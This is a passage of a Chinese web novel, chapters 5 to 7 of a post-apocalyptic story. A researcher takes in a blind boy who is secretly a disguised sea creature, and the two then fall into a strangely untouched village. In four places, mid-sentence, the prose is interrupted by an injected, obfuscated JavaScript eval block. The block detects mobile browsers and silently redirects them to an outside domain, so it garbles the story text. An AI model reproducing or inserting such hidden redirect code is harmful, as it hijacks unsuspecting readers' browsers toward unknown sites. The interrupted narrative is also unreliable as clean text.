没有一丝破绽,和陈结愿每次听到的说法都一样。 但现在想想看,那么多人每次说同一件事时都一致到分字不差本身就很可疑。 被鲽族害死、海岸、捡到她,任何人叙事时都离不开这几个关键点。 父母是怎么遇到的鲽族?如何死去?为什么所有人都不知道他们有个女儿,而又在捡到自己后确信自己就是他们的女儿? 最可疑的是从陈结愿记事起到现在,人们怀念的永远都是她的父亲。 明明她的父母同为研究员,可从没有人会特意提起陈结愿的母亲。 陈结愿无法断定他们在说谎,但肯定有所隐瞒。 她点点头,“没什么,我只是在想我和鲽的缘分还真深。” 梁所长冷汗都滴下来了。 陈结愿也没再继续为难他,问多了反而会让他起疑,现在还是稳妥为妙。 她又和梁所长聊了一会才回了房间。 当晚,陈结愿一闭上眼,梦中的身影就又出现在她面前:蓝发女士轻柔地唱着摇篮曲,抱住她的动作珍重到像是抱着宝藏。 哪怕有刚才的经历,陈结愿也没有对她产生抗拒,反而还感到了一丝安心。 她伸出手,想要触碰女士的脸庞。 另一只大手握住了她,周遭的景色迅速改变,“这孩子长得和陈教授还真像啊。” 陈结愿认识这手的主人,是研究所里一个对她很好的叔叔,不过现在似乎叫哥哥更贴切。 “毕竟他的孩子,当然像了,把这么小的孩子扔在海边,真是造孽啊。” 又一个人影闯入视线,这人她倒是不怎么想看见,好巧不巧就是梁所长。 叔叔抱起她,细细擦去她脸上的泪花,语气温柔,“小可怜劲儿,你叫什么名字呀?” 陈结愿无法回答,只能咿咿呀呀地回应。 年轻版梁所长冷哼一声,“我记得他说他如果有了孩子要叫什么,乱七八糟的,反正有个愿字……” 他挠头,怎么都想不起来最后一个字,翻了个白眼,“爱叫什么叫什么。” 叔叔抿起嘴,似乎在憋笑,“是‘待重结、来生愿’。” “他应该是希望孩子叫陈结愿吧。” …… 与此同时,实验室被无机质蓝光覆盖。 坎特雷拉缓慢直起身子,脑袋还有些昏沉。 开什么玩笑,自从被抓到这个破地方,它每次大脑清明一点都会被麻醉伺候。 它皱眉,摸上自己的额头,眸光微暗。 看来族人说得对,人类这种生物确实是邪恶又狡猾。 不知道他们是怎么蒙蔽了可怜的始祖,不光把她的身体改造成了那副样子,还撺掇她不断伤害同类。 明明每次都是自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181262|180983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先被人类攻击才会反击,可始祖的眼中全都是人类的恐惧、人类那些微不足道的伤,丝毫不怜惜作为同族的自己。 而且她对自己抱有很严重的戒备心…… 它越来越火大,忽然想到什么,眼睛眯了起来。 坎特雷拉拾起掉落在地上的手术刀,顺着鱼尾蜿蜒而下,很快蔓延成一片殷红。 被硬生生分成两半的鱼尾很快变成了修长有力的双腿。 坎特雷拉试着前进,踉踉跄跄,才走了没几步就摔倒在地。 它就这样重复,摔倒,起身,摔倒,起身……直到走姿稍微看得过去。 它又把刀尖指向自己的脸,一下、两下,鳞片随着它的动作被剥落下来。 头发…… 坎特雷拉将目光转向门。 它走过去,轻叩房门,嘴里却发出了助理的声音。 “有人在吗?我还没有出去……请让我出去吧,我很害怕……”它怯懦道,甚至为了让语调更加逼真在门内抖了抖。 门外传来窸窸窣窣的响动,没一会儿就有了回应,“你怎么还在里面?别闹出大动静,万一怪物醒来就不好了。” “好的,但是你一定要快一点哦……” 话没说完,门“咔哒”一声打开了。 面前的人类在看到坎特雷拉时瞬间愣住,嘴巴张大。 他还没来得及发出声音,坎特雷拉就掐上了他的脖颈,腐烂从脖颈一路延伸。 在人类失去意识之前,听到一声嗤笑。 “太晚了,怪物已经醒啦……” 它留下人类的头皮,把自己的脑袋也开了个洞。 人类头皮覆盖上正在疯长的组织,很快融为一体。 坎特雷拉对着地面反射将蓝发尽数扯落,又去拿人类的衣服。 看到残破不堪的防护服,坎特雷拉怔愣片刻,收起毒素,扒开防护服只拿取了里面的衣服。 穿好衣服后,他拿“破布”裹上令人作呕的肉泥,一路走到海边。 海面映出坎特雷拉此刻的模样——衣着得体,相貌端正,与人类无异。 他学着助理的样子微笑,抬手将肉泥扔进海中。 直到肉泥彻底消失在无边无际的蓝色中,他才放下僵硬的嘴角。 他实在是想不明白,那么傻气的人类到底用什么样的能力蛊惑了始祖。 “始祖很亲近助理,那么要接近始祖的话,我也去当助理……?” 他边喃喃边顺着海岸线游走。 游鱼都亲近地游向他,坎特雷拉顺手抓了几条。 他在深海的时候,听说人类对某种感情很执着,那种感情他记得是叫爱。 始祖那么护着那个助理,她爱那个助理吗? 那可不行,始祖不能被人类绊住脚。 既不能让始祖反感自己,又不能让始祖就这么被困在岸上,要不干脆把助理解决掉? 哎呀,这样不行,始祖那么聪明,万一她知道了肯定会讨厌自己的。 坎特雷拉脚步愈发沉重。 他走了一圈,视线中再次出现那个折磨他许久的建筑。 坎特雷拉止住步子,从裤腿扯下一块布蒙在眼上。 他知道该怎么办了。 5. 第 5 章 陈结愿一大清早就走向实验室,门口堆满了人。 “怎么会这样?昨天不是说把怪物控制住了吗。” 另一道声音叹息着回应,“不知道啊!啧,这么大个活人就那么凭空消失了……” 陈结愿闻言加快脚步,拨开人群,看清后也叹了口气。 实验室内还维持着昨天她和坎特雷拉留下的一片狼藉,没有新增任何打斗的痕迹。 然而怪物和负责看守的工作人员全都凭空消失了。 大家悲伤之余倒也都没多大反应,毕竟这个世道就是这样,几个同事一起说说笑笑出任务,大家都一脸轻松的样子,然而每次回来后都总会少那么一两个人。 离去的同事如果有留在研究所的衣物,人们就会正式点给他立个衣冠冢。 要是离去的同事没有衣物,人们就简单在石头上刻下他们的名字埋进后院。 没有人会为此感到意外,大家都已经习以为常了。 人命在末世是最容易转瞬即逝的东西。 有人拍了拍手,将陈结愿和众人的注意力都吸引过去。 梁所长从一片哗然中穿过,缓步走到人群中央,“都冷静一下。” 陈结愿向他的方向看去,只见梁所长向左一步,露出一位瘦弱的蒙眼少年。 少年身上的尘土和水混在一起,夹带着掩盖不住的鱼腥味,颤颤巍巍地站在那里。 陈结愿皱眉,他身上穿的衣服怎么看怎么熟悉。 “这孩子晕倒在咱门口,被我带进来了。”梁所长拍拍他的肩膀,声音柔和了许多,“来,跟他们说说你都看到了什么,” 少年还有些胆怯,犹豫一会儿才开口道,“我……我实在是没有食物了,没办法,昨晚只能出来找东西吃……” “我走到海岸边,听见有人在呼救,”他指向自己的眼睛,“但我看不见,也不敢出声,等没有声音了之后才敢走过去。” 有人打断他,“你的意思是你遇到怪物了?还有,这身衣服怎么会在你身上?” 陈结愿想起来了,少年身上穿的正是他们失踪的同事的衣服。 少年身形猛地一抖,直接跪坐在地上。 众人都被这突如其来的举动吓懵了,一时没人再说话。 他颤抖着不断后退,直到挨上陈结愿的小腿,又抖了抖,手紧紧攥住衣角,不再动弹。 陈结愿纠结片刻,最后还是狠不下心来不管他,把人拉起来,“把你知道的都说出来就好。” 她看见少年点头,想把手抽开却没成功。 少年就这么紧握着她的手,颤抖顺着相连的指尖传递,一直传到了陈结愿身上。 看起来他是真的很害怕。 “我不知道具体发生了什么……但我过去的时候就只剩下这身衣服了,我知道这很不尊重人,但我原来的衣服真的太破了,我一下子没忍住就……” 话说到这里,其实大家也差不多都明白了。 他们的同事肯定是回不来了。 悲伤的气氛盘旋在上空,还是梁所长率先出声打破,“就是这样,他也挺可怜的,从今往后就跟着我们一起了。小愿,你不是有一个助理不干了吗,正好让他顶上,干点活讨个生路。” 陈结愿是可怜他,但也没想到他会被这么塞到自己手里,刚想出言拒绝,少年又“扑通”一下坐地上了。 陈结愿硬生生闭上了嘴。 再然后,不管陈结愿走到哪里都有一只手死死拽着她的衣角。 助理看着宛如连体婴的两位陷入沉思。 陈结愿眼见助理在她面前欲言又止、止言又欲,终于停下手里的工作,“有话就说。” 少年听见她和助理搭话,凑得更近了,整个人都快要贴上陈结愿。 助理脸色变了又变,最后拿了张纸开始在上面写写画画。 陈结愿往前走两步拉开距离,少年立马跟上来,又紧紧贴住。 陈结愿道,“你,额……”她顿住,自己还不知道少年的名字,“我怎么称呼你?” 少年抿住下唇,可怜兮兮道,“我也不知道自己叫什么,姐姐想怎么叫都可以的。” 助理笔下生风,都快要在纸上磨出火花了。 “那我先暂时叫你……等等。”陈结愿瞟了一眼助理举起来的纸,看清写的什么后险些没控制住表情。 【陈姐这人是不是对你有意思啊,他怎么一直贴着你!】 【你确定他是瞎子吗?我怎么感觉他一直都在瞪我。】 【他肯定对你有意思!我去,这瞎子眼光也太毒了一上来就盯上我们所花。】 能骂的点太多,陈结愿一时竟然不知道从哪里开始骂最好。 偏偏少年看不见字,还在那里火上浇油,笑得柔软,“好啊,那我以后就叫等等,谢谢姐姐。” 助理在“有意思”上画了个大大的圈。 陈结愿太阳穴隐隐作痛,感觉现在自己一个头两个大。 好在对讲机及时响起,把陈结愿拖出苦海。 “到处都找不到鲽的踪迹,大概早就跑没影了。算了,不说这个了,他们出勤新带回来一盆土,说是看见上面长草了,一会送去实验室你们研究研究。” 等等偏过头,因为看不见拿捏不好距离,发丝扫过陈结愿的侧脸,陈结愿感到些许痒意。 “我很擅长种东西的,让我来帮忙吧。” 陈结愿和助理对视一眼,显然都不太相信。 泥土送到实验室,陈结愿还想阻止一下他,结果看到等等胸有成竹的样子又堪堪放下手。 毕竟他刚到这里,可能是怕自己因为没用被抛弃吧,着急证明自己。 陈结愿观察着他的动作,他并没有加什么特殊的试剂,就只是很普通地松土、埋种子、浇水,还不小心被花盆边缘划伤了手。 她在心里暗自叹了一口气,怕他感染,将他拉到一边消毒,“还是我们来吧。” 谁知等等直接就误会了,豆大的眼泪像断了线的珠子一样往下掉,“对不起,我没想给姐姐添麻烦的。” 陈结愿表情凝固,又放下碘伏给他擦眼泪。 突然,助理惊呼一声,两人的注意力都被吸引过去。 刚才还空无一物的土堆上冒出了一个嫩绿的小尖芽。 “我的妈呀,等等你还真有点本事在啊!我长那么大第一次亲眼看见种子发芽诶……” 陈结愿示意助理把花盆拿来,细细端详。 说不震惊肯定是不可能的,陈结愿也是第一次看到植物的嫩芽。 在她从小到大的记忆中对植 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181263|180983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物的印象只有各类营养剂包装上的图片,但那也是在她很小的时候的记忆了,现在就算陈结愿拿着放大镜看营养剂的成分表,也只能找到一大片看得人头昏脑涨的化学物质。 等等也不哭了,悄声问她是不是成功了。 陈结愿深吸一口气,音调还是抑制不住地上扬:“对,成功了。等等,你很棒。” 等等露出笑颜,“那我是不是可以留在这里了?” 和还算冷静的两人截然相反,助理大喊,“留留留!必须留!” 陈结愿点头,然后意识到等等看不见,又开口,“当然。” 她从沙发上站起身,站在等等面前,郑重地朝他伸出手,“研究所中级研究员陈结愿,正式欢迎你成为实验室的一员,感谢你为拯救人类做出的每一份贡献。” 等等摸索着回握,陈结愿也不再抑制笑意。 助理歪头,莫名感觉自己这么站着显得有些多余,不服输地一下握上等等的另一只手。 陈结愿余光看到助理的表情扭曲了一瞬。 她没在意,松开手拿着嫩芽就去报告工作了。 陈结愿走出实验室,助理再也绷不住表情,五官皱在一起,用尽全身力气把手抽了出来。 巨大的红印落在苍白的皮肤上格外醒目。 然而罪魁祸首还是一脸温良的样子,仿佛那红印跟他半毛钱关系都没有。 等等嘴角笑意不变,默不作声地拿起碘伏继续给自己消毒,完全没有和助理说话的意思。 助理:…… 我就知道!这是把我当成情敌了! 我叫陈姐一声姐是真心把她当姐,某些从天而降的小白脸喊她姐藏的是什么心思自己清楚! 真是人在家中坐锅从天上来,助理和陈结愿从小一起在研究所里长大都没怎么握过她的手,这小白脸刚来不到半天,握也握了,贴也贴了,还把他摆在情敌的位置上! 助理愤愤地想这门亲事他绝对第一个不同意。 而身处风暴中心的陈结愿对此一无所知。 坎特雷拉的消失带来的阴霾一扫而空。 陈结愿自认为将情绪隐藏得很好,可嘴角上扬的弧度完全暴露了她,陈结愿一路顶着众人诧异的目光走进了梁所长的办公室。 梁所长看到她后明显愣了一下,“那么高兴啊,和新来的小朋友相处不错?” 陈结愿不语,只把花盆端到梁所长面前。 所长办公室爆出一阵音量堪称惊天地泣鬼神的粗口,躲在外面偷听的工作人员痛苦地捂住自己的耳朵。 陈结愿皱眉,捂上他的嘴,“你震惊什么,不是你把等等带来的吗。” 梁所长扒开她的手,“等等?” “哦,他说自己没名字,总之暂时他就先叫等等了。” “等一下,我们先别管这个,这种子是他种出来的?” “不然还能有谁,你知道他会种菜怎么不早说。” “我不知道啊!我本来就是看他可怜所以扔给你当个打杂的,我要是知道他能种菜我早说了!”梁所长语调接近崩溃。 陈结愿想到什么,突然沉默下来。 等等说他是出来找食物才正好碰见坎特雷拉的。 可,一个能种出植物的人,为什么会没有食物? 6. 第 6 章 距离等等来到实验室已经过去了一段时间,陈结愿一直都在观察着他的行动。 他的行为并没有任何反常的地方,每天除了种菜、给陈结愿打下手之外基本上没有其他的活动,而且还一直黏在陈结愿的身边,根本不需要她特意去留意。 唯一值得注意的地方可能就是他实在是太喜欢喝水了。 但这也不是什么大问题,毕竟纯净的水源确实难得,等等又没有喝很多,只是每时每刻都要在手里揣一杯水罢了。 “啊,陈姐你看!这样是不是就叫长成豆芽了?” 陈结愿被助理的呼唤打断思绪,放下手里的工作走过去,等等起身给她让出一个位置,有些腼腆地用手抹去脸上的泥土,“原来我们种的是豆芽啊。” 她目光所及之处是一片小小的鹅黄,伸出手指轻轻触碰就把它们压塌了,把手挪开,豆芽又倔强地挺立起来。 淡淡的土腥味飘向鼻尖,陈结愿睫毛颤了颤。 哪怕只有些许,这也是末世中的光亮了。 当晚,等等成为了研究所的主角。 几个身形彪悍的大汉嘴里叼着豆芽迟迟不肯咽下,在等等的四周围城一堵密不透风的墙,抹一把鼻涕抹一把泪地挨个拥抱他,嘴里呜哩哇啦说着什么。 等等嘴角止不住地抽搐,一个劲地往陈结愿那边扭头,像是想要求救,可每次都是“姐姐”两个字还没喊出来就被其他人的话堵了回去。 等等能顺利融入这里是好事,陈结愿不打算阻止他们,转身走向梁所长身边。 她和梁所长碰了下杯,坐在他旁边,“你们以前经常吃豆芽吧。” 梁所长笑笑,“在出事之前,豆芽是我最看不上的菜了。我一直觉得这菜太淡了,吃起来怪无聊的,”他揉揉眼,自欺欺人地抹去泪点,“没想到现在只是吃上几根都让人那么高兴。” 梁所长拍拍她的肩,“我有一个想法。” 陈结愿放下手里的杯子,目光转向梁所长,示意他继续说下去。 “我打算这次让你们实验室去出外勤,你们带一兜种子,在沿途种下一些……万一有哪个地方就长出来了呢。” 陈结愿低眉思索了一会,这确实可行。 研究所毕竟地方有限,没有大片的地交给等等发挥,种出来的豆芽就连研究所内部的人员分起来都不够。 如果去外面种,就可以让等等在更加广阔的土地上实验,哪怕只在一块地上成功,也足够养活一方人了。 她点头,“我会去问问等等的。” 此时等等也终于冲破了人墙,似乎在寻找陈结愿,瘦弱的身躯四处乱转,基本上每走两步就要撞上一个人。 陈结愿注意到他,出声呼唤,“等等,我在这边。” 等等一下子就锁定了她的位置,脸上的无措一扫而空,连跑带颠地靠近过来。 梁所长轻笑着摇摇头,识趣地起身离开。 陈结愿扶着等等坐下,“我和梁所长刚才正好聊到你。” 陈结愿把刚才和梁所长说的话大致传达给他,本来以为他好不容易找到一个庇护所,应该会稍微犹豫一下,等等却轻轻握上她的手。 等等仍然低着头,语气听不出起伏,“姐姐会去吗?在研究所里对我最亲切的就是姐姐了,姐姐在哪我在哪。” 陈结愿第一次被人这样对待,也不知道该有什么反应,只得生硬地回了句“嗯。” 等等立马喜笑颜开,“那我也愿意去!” 助力幽幽开口:“陈姐你怎么不问问我的意见。” 陈结愿还没说话,等等就抢着回答道:“我不像你们这么熟,所以姐姐才会顾及到我的感受吧。” 研究所顿时茶香四溢。 助理“啧”一声,翻着个白眼离开了。 …… 荒凉,不管他们走到哪里都是一片荒凉。 高楼大厦表面都被覆盖上了一层黄土,黄沙盘旋在城市上空,整座城市从远处看去就像是被掩埋在沙尘之下。 陈结愿带领他们走进一家超市,打算找找有没有派的上用场的物资。 这里已经没有什么东西了,食物早就都过了保质期,摆放纯净水的架子上也毫不意外地空无一物。 陈结愿轻叹一口气,打算离开,却听见角落处传来窸窸窣窣的响动。 她示意两人噤声,放缓脚步朝声源处走去。 倏然间,一道人影从角落窜出,朝等等奔去。 不好!等等手里拿着种子! 陈结愿还是晚了一步,等等手中装种子的袋子被夺走,那人还十分恶劣地狠狠将等等撞倒在地。 她脚步一顿,可现在来不及关心等等的状况,陈结愿拔出枪,“你们可以慢点跟上我,我先去把种子抢回来!” 收到两人的回应,陈结愿拔腿追了出去。 那人身形高大笨重,跑得却极快,哪怕陈结愿从小接受专业训练都没办法轻易跟上。 陈结愿周遭的景色迅速变化,不一会儿现代化的建筑就全都消失了,取而代之的是一片又一片砖瓦垒起来的自建平房。 那身影穿进一片密密麻麻的平房,眼见就要不见踪影,陈结愿加快速度跟了上去。 那身影忽然猛地止住步子,站在原地不动了。 他们前面已经没有路了,他再往前走一步就会掉下山崖。 陈结愿也跟着停下脚步,目光凛冽,“把你手里的东西交出来。”她把枪抵上那人的后背,“里面没有食物,放手。” 那人没回应,缓缓转过了身。 那人脸上铺满鳞片,基本看不出原来的五官,只露出一对宝蓝色的眼眸。 陈结愿瞳孔骤然缩小,大脑“嗡”地一声断了线,冷汗瞬间浸透后背。 是鲽?不,不对,这分明是个人。 可是人怎么会长成这样?! 心悸吵得陈结愿无法正常思考,握着枪的手都有些打滑。 助理才刚带着等等堪堪追上,看到对峙的两人不由得后退了几步,想拽着等等一起躲起来却没成功。 等等一把推开他,自顾自向前走去。 助理慌了神,“你别过去啊,那里有人!”他定睛一看,在看清那人的脸的瞬间倒吸一口冷气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181264|180983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“啊啊啊啊啊啊快回来!” 助理急得在原地直喊他的名字,等等充耳不闻,脚下的动作没有丝毫停顿,继续向前。 陈结愿没有多余的精力去管身后的两人,又不愿意让他们陷入危险,心一横就要扣下扳机。 突然,陈结愿感到脚底一阵地动山摇,一道巨大的裂缝出现在他们脚下。 陈结愿猛地回头,等等稳住身形,还在向她这边走。 她嗓音沙哑得不像话,“等等……你先不要过来,后退,快一点。” 等等闻言后退一步,裂痕刹那间分裂出一片大大小小的分支,向四周迅速延伸。 陈结愿整个人僵在原地,耳边的一切声音都消失了,陷入死一般的沉寂。 一声带着疑问的“姐姐?”打破了凝固的时间,陈结愿思绪在一瞬间回笼,身体比脑子先做出判断,一把将等等揽入怀中。 脚下的地面发出“轰隆隆”的巨响,一开始还只是脱落小块小块的土,几秒过后,陈结愿的身形不受控制向后倒去。 地面塌陷了。 陈结愿双臂收紧,风打在她耳中的鼓膜上,疼痛很快蔓延至全身。 她能清晰地感受到自己的意识正在变得模糊,眼前被一片血红色覆盖,周遭的景色都开始变得扭曲起来。 过往的人生一幕幕在她眼前浮现,像是在播放一部倒序的电影。 在电影的最后,陈结愿恍惚间又看到了那位蓝发的女士,她被女士抱在怀中,温热的呼吸轻拍在她脸上。 只是这次蓝发女士身旁多了一个人。 陈结愿感到一种莫名的熟悉,酸意涌上鼻尖。 低沉而又温柔的男声被卷进风中,就连暴力的风都慢了下来。 “小愿,我的女儿。” “我很抱歉,我不知道怎么才能保护你……我只能祈祷你永远都不会被他们找到。” “你要平平安安地活下去。” 几滴液体落在陈结愿的眼睑,又顺着她的眼角滚落。 爸爸,是爸爸吗? 眼前的人冒出一阵强光,激得陈结愿闭上了眼。 她意识到那身影又要消散,急忙伸出手挽留。 回应她的却是一双带着冷意的、纤细的手。 陈结愿睫毛轻颤,缓缓睁开眼,眼前还是一片模糊。 “等等……?” 等等听见她回应,连忙把手握得更紧了些,“是我!姐姐你没事吧!” 陈结愿借着他的力坐起身,全身上下都传来马上要散架般的疼痛,不由得小声吸气。 她缓了缓,再次睁开眼后视线清晰了许多。 等等还在她身边啜泣,“都怪我……我要是早点意识到那里要塌陷的话就好了,居然让姐姐受了那么重的伤……” 陈结愿却没有心情安慰他,她皱眉,打断等等。 “这里是哪?” 陈结愿身下是柔软的床,耳边传来阵阵鸟鸣,饭菜的香味顺着空气飘进鼻中。 窗外没有漫天的黄沙遮挡,阳光明媚,透过玻璃洒在屋内。 这里……是哪? 7. 第 7 章 这里到底是哪? 等等看不见,感受不到这里的怪异,可陈结愿却是实打实地感受到了很强烈的违和感。 房间内部明亮舒适,空气中也没有让人喘不过气的鱼腥味,跟研究所周围简直不像是会出现在同一个世界里的景色。 等等沉默半晌,摇头,“我不知道。” 大门发出“吱呀”的声响,陈结愿身形一僵,下意识转身,握紧等等的手将他往身后带,另一只手摸索着去掏枪,原本放枪的地方却空无一物。 陈结愿一颗心脏猛然沉下去。 体内传来的剧痛使她眼中分泌出生理性泪水,一时看不清眼前,只能看到模糊的人影。 那人看起来身形并不强壮,甚至可以说用单薄来形容,怔愣在原地迟迟没有下一步行动。 陈结愿的手掌传来一丝痒意,等等向前一步,“是房主吗?抱歉,姐姐刚醒过来,还有点混乱。” 陈结愿视线清明了。 眼前是个女孩子,看起来年纪不大,身形瘦削,提着几乎遮住她半截身子的果篮,眨了眨眼,冲陈结愿露出一个笑来。 “是我,”她把果篮放在地上,拿出两个粉色的植物,一个递给等等,一个递给陈结愿,“我是不是吓到你们了,真是不好意思,这个就当做赔礼了。” 陈结愿记得那好像是一种叫“桃子”的水果。 她还没搞清楚状况,转头看向等等,他一口接一口,吃得正香。 陈结愿莫名感到喉咙一阵干涩,不自然地移开视线。 房主见她这样戒备,有些无奈,“放心,都是我自己种的。你都已经昏迷三天了,也该吃些东西了。” 昏迷三天? 等等适时插话进来,“我们掉下来之后被房主捡到,她看我们可怜救了我们一命。我受伤轻,所以醒的早,”他低下头,声音变得闷闷的,“姐姐你却……对不起。” 陈结愿这才理清头绪。 他们坠落的过程中陈结愿一直牢牢将等等护在怀里,中途撞到不少岩石,如果没有被房主救下现在大概已经是一具野尸了。 她哑声向房主道谢,询问该如何称呼。 房主拿走她手中的桃子,用小刀细致地切成方便入口的小块,往陈结愿嘴里塞了一块。 甘甜在陈结愿口中爆开,她不由得愣了一下。 “叫我阿桃就好,说起来你们真是吓了我一跳,怎么会受那么重的伤?”她说着,语调染上一丝庆幸,“都说外面不太平,掉到这里也算你们幸运。” 陈结愿敏锐捕捉到“外面”两个字,“方便问一下这里是哪吗?” “这里是稻家村,就是个小村子。”阿桃笑着凑近她,“我还以为外面都是怪物了呢,没想到一个你、一个等等都那么好看,搞得我都想出去看看了!” 怪物……她追的那个人去哪了?种子拿回来了吗? 还没等她发问,等等就先开口道:“房主说她到的时候只看到了我们两个人。” 陈结愿的眼神倏然暗了下来。 “那我的对讲机和枪呢。” 等等从兜里掏出对讲机递给她,没说话。 看来枪是没了。 但至少对讲机还在,情况也不算太坏,陈结愿轻车熟路摁下几个按钮,对讲机滋滋作响了一会儿,然后没有再作出任何回应。 陈结愿额头隐隐作痛。 她手指摁上太阳穴,轻叹了口气,“可不可以麻烦您帮我们带一下路。” 阿桃似笑非笑地看向她。 “你们想回去可没那么容易。” 事实证明阿桃说的没错,是挺不容易。 陈结愿被等等搀扶着,一路走到他们摔下来的地方,向上望去,断崖高耸,直冲云霄。 好在陈结愿能确定助理没有跟着摔下来,现在应该已经回研究所呼叫救援了。 这一路陈结愿一直留意着周遭的景象:这个村子跟陈结愿以往生活的环境截然不同,遍地开满各色的花朵,每走几分钟就能看到均匀分布的小块耕地,上面长满了稻谷。 稻子长得比陈结愿还高,跻身进去,还能看见陈结愿一直想要摸摸看的小兔子、小猫之类的毛茸茸的小动物。 一只淡橘色的猫咪在她脚边蹭来蹭去,陈结愿心下一软将它抱了起来,怀中满是温暖柔软的触感。 只不过她还没抱够猫咪就蹦下去没了踪影,陈结愿有些可惜地收回手。 村民看到陈结愿醒来也都凑上来,往她和等等的怀里塞了一堆有的没的、陈结愿只在书上见过的东西。 陈结愿从村民们西一嘴东一句的混乱发言里大致梳理好了情况。 稻家村是个与世隔绝的小村庄,因为地势过低,难以与外界交流,经济发展水平落后,基本跟现代化搭不上边,但也是得益于这样刁钻的地理位置,稻家村目前还没有受到多少污染的影响。 倒不如说是完全没受到污染的影响。 书中说的“世外桃源”大概就是这样了吧。 “小姑娘,你叫什么呀?” 陈结愿思绪回笼,谨慎起见还是没有说出全名,“您叫我小愿就行。” 婆婆看起来慈眉善目的,抚上陈结愿的头,调笑道:“醒了就好,真不错,这几天可把你的小相好紧张坏了呦,一步都没离开过你。” “什么相……”陈结愿皱眉,话音被打断。 等等悄悄拽住她的袖子,声音变得和蚊子一样大,“我、我跟他们解释了,他们都不听我说的……” 陈结愿的脸颊后知后觉染上些许绯色。 她轻咳一声,四处寻找有没有能转移注意力的东西,视线聚焦到一间突兀地立在那里的茅草屋,“我去个厕所。” 谁知那婆婆脸色一下就变了,拦在陈结愿的身前。 陈结愿顿住,凝重的气氛蔓延开来。 时间一分一秒流逝。 婆婆盯着她看了许久,最后眉眼又弯了起来,“这儿不是厕所,厕所在另一边。” 陈结愿心中警铃大作。 一间普通的房子用得上防备成这样吗? 陈结愿原本还只是怀疑这个村子不对劲,现在婆婆的反应更是直接坐实了村子另有隐情的事实。 她还是决定暂时不要打草惊蛇,毕竟陈结愿现在手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181265|180983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有趁手的武器,盲目地对峙只会把她和等等的处境变得糟糕。 等等明显跟婆婆更加熟悉,继续寒暄了几句就搀着陈结愿离开了。 陈结愿又和等等四处逛了逛,回到阿桃的房子时已经是傍晚了,她推开门,阿桃已经摆好了一桌子的饭菜。 有肉、有菜也有汤,弥漫着热气,格外诱人。 陈结愿喉咙不自然地上下滚动,还是不太敢吃。 等等似乎是知道她的担心,宽慰道:“没事的姐姐,我这几天都吃的这些,没有任何问题。” 陈结愿心想她一开始怎么没发现等等的适应能力那么强。 几口米饭下肚,确实没什么事,陈结愿稍微放下心来。 保险起见她还是没吃太多,感觉不再饿了就停下筷子。 阿桃起身,“我去给你们拿些点心来。” 对方一直热情招待,陈结愿没从她身上感觉到恶意,也不好一个劲儿的给她泼冷水,应了下来。 不一会儿,两盘凝胶质感的红色甜品被端上了桌。 陈结愿拿勺子舀了一小块送进嘴里,滑嫩水润,香甜可口。 阿桃见她吃得开心,嘴角微微上扬,“这是我们村的特产,怎么样?” 陈结愿点头,“很好吃。” 阿桃眼底笑意更甚。 陈结愿本来只打算吃一两口,可不知怎么的吃着吃着意识就开始涣散,直到勺子贴上空盘发出一阵敲击声才意识到自己已经吃完了整整一盘。 看来她的身体还需要一段时间才能恢复,才在外面逛了没多久就开始注意力不集中了。 阿桃收起她身前的碗筷,“看起来你很喜欢,敞开吃,我们村最不缺的就是这个。” 等等抢答道:“我还想再来一盘!” 阿桃笑得几乎都要看不见眼睛了,又给等等递上一盘新的。 陈结愿无奈叹气,“抱歉,他之前挨过饿。” 阿桃表示完全不在意,还说他们想吃多少有多少。 陈结愿有些好笑地对着等等道:“怎么到这就不发抖了?” 等等听出她是在调侃自己刚到研究所的窘相,嘴角撇了下来,“这又不一样,我那时候还以为自己会被打一顿呢!” 陈结愿思考了一下,如果陈结愿当时没有拉他一把的话说不准真的会有暴脾气抡着拳头冲上来给他一拳。 想到这里她不禁笑出声。 等等更不高兴了,嘴里嘟嚷着:“姐姐就会欺负我。”把凳子搬离陈结愿几米远,坐下一个人生闷气。 陈结愿觉得好玩就没去哄他,打算再和阿桃了解一下这里的情况。 阿桃却看了眼窗外,“有些晚了,我就不打扰你们休息了。” 